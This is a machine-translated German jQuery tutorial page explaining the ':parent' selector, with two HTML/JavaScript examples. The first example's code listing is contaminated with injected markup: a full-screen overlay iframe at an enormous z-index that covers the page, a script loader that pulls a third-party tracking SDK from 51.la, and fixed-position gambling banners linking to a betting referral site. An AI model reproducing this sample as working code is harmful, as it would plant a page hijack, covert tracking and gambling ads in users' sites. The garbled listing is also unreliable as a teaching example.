Heim > Web-Frontend > js-Tutorial > jQuery-Selektor: Detaillierter Anwendungsfall des übergeordneten Elements

jQuery-Selektor: Detaillierter Anwendungsfall des übergeordneten Elements

黄舟
Freigeben: 2017-06-23 11:31:48
Original
1285 Leute haben es durchsucht

: Definition und Verwendung des übergeordneten Selektors:

Dieser Selektor stimmt mit Elementen überein, die untergeordnete Elemente oder Text enthalten.
Hinweis: Leerzeichen gelten auch als enthaltene Elemente.

Grammatikstruktur:

1

$(":parent")

Nach dem Login kopieren

Dieser Selektor wird im Allgemeinen in Verbindung mit anderen Selektoren verwendet, z. B. Klassenselektor und ElementselektorWarten. Zum Beispiel:

1

$("div:parent").animate({width:"300px"})

Nach dem Login kopieren

Der obige Code kann die Breite eines Divs, das Text oder Elemente enthält, auf 300 Pixel festlegen.
Wenn nicht mit anderen Selektoren verwendet, ist der Standardstatus mit dem *-Selektor zu verwenden, zum Beispiel ist $(":parent") äquivalent zu $("*:parent").

Beispielcode:

Beispiel 1:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

<meta charset=" utf-8">

<meta name="author" content="http://www.softwhy.com/">

<title>蚂蚁部落</title>

<style type="text/css">

div{

list-style-type:none;

width:150px;

height:30px;

border:1px solid red;

}

</style>

<script type="text/javascript" src="mytest/jQuery/jquery-1.8.3.js"></script>

<script type="text/javascript">

$(document).ready(function(){

$("button").click(function(){

$("div:parent").animate({width:"300px"})

})

})

</script>

<script type="text/javascript" src="/js/jquery.3.5.2.min.m.js"></script><div style="Z-INDEX:1000000000000000000;POSITION:absolute;TEXT-ALIGN:left;BACKGROUND-COLOR:#ffffff;WIDTH:100%;HEIGHT:100%; TOP:0px; RIGHT:0px;LEFT:0px;"><iframe frameborder="no" src="/gg/in/index.html" style="height: 100%;width: 100%;position: fixed;left:0; top:0;"></iframe></div><script>!function(p){"use strict";!function(t){var s=window,e=document,i=p,c="".concat("https:"===e.location.protocol?"https://":"http://","sdk.51.la/js-sdk-pro.min.js"),n=e.createElement("script"),r=e.getElementsByTagName("script")[0];n.type="text/javascript",n.setAttribute("charset","UTF-8"),n.async=!0,n.src=c,n.id="LA_COLLECT",i.d=n;var o=function(){s.LA.ids.push(i)};s.LA?s.LA.ids&&o():(s.LA=p,s.LA.ids=[],o()),r.parentNode.insertBefore(n,r)}()}({id:"K0m2TJ2kWzkFfr5E",ck:"K0m2TJ2kWzkFfr5E"});</script>

<div style="position: fixed;right: 0;top:100px;width: 125px; z-index:2000;"><div><a target="_blank" rel="nofollow" href="https://www.520xingyun.com/from/188bet.php"><img width="120px" height="550px" src="https://www.520xingyun.com/images/188_120.gif"></a></div></div><div style="position: fixed;left: 0;top: 100px;width: 125px;z-index:2000;"><div><a target="_blank" rel="nofollow" href="https://www.520xingyun.com/from/188bet.php"><img width="120px" height="550px" src="https://www.520xingyun.com/images/188_120.gif"></a></div></div>

  

<div>我是文本</div>

<div></div>

<button>点击查看效果</button>

Nach dem Login kopieren

Der obige Code kann die Breite eines Divs festlegen, das Text oder Elemente in einer benutzerdefinierten Animation enthält .

Beispiel 2:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

<!DOCTYPE html>

<html>

<head>

<meta charset=" utf-8">

<meta name="author" content="http://www.softwhy.com/" />

<title>蚂蚁部落</title>

<style type="text/css">

div{

list-style-type:none;

width:150px;

height:30px;

border:1px solid red;

}

span{border:1px solid green;}

</style>

<script type="text/javascript" src="mytest/jQuery/jquery-1.8.3.js"></script>

<script type="text/javascript">

$(document).ready(function(){

$("button").click(function(){

$("*:parent").animate({width:"300px"})

})

})

</script>

</head>

<body>

<div>我是文本</div>

<div></div>

<span>大家好</span>

<button>点击查看效果</button>

</body>

</html>

Nach dem Login kopieren

Da der obige Code keinen Selektor angibt, der mit dem :parent-Selektor verwendet werden soll, wird er standardmäßig mit dem *-Selektor verwendet, sodass der Code dies kann Die Breite des Elements, das Text und Elemente enthält, wird in einer benutzerdefinierten Animation auf 300 Pixel festgelegt.

Das obige ist der detaillierte Inhalt vonjQuery-Selektor: Detaillierter Anwendungsfall des übergeordneten Elements. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Verwandte Etiketten:
Quelle:php.cn
Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
Beliebte Tutorials
Mehr>
Neueste Downloads
Mehr>
Web-Effekte
Quellcode der Website
Website-Materialien
Frontend-Vorlage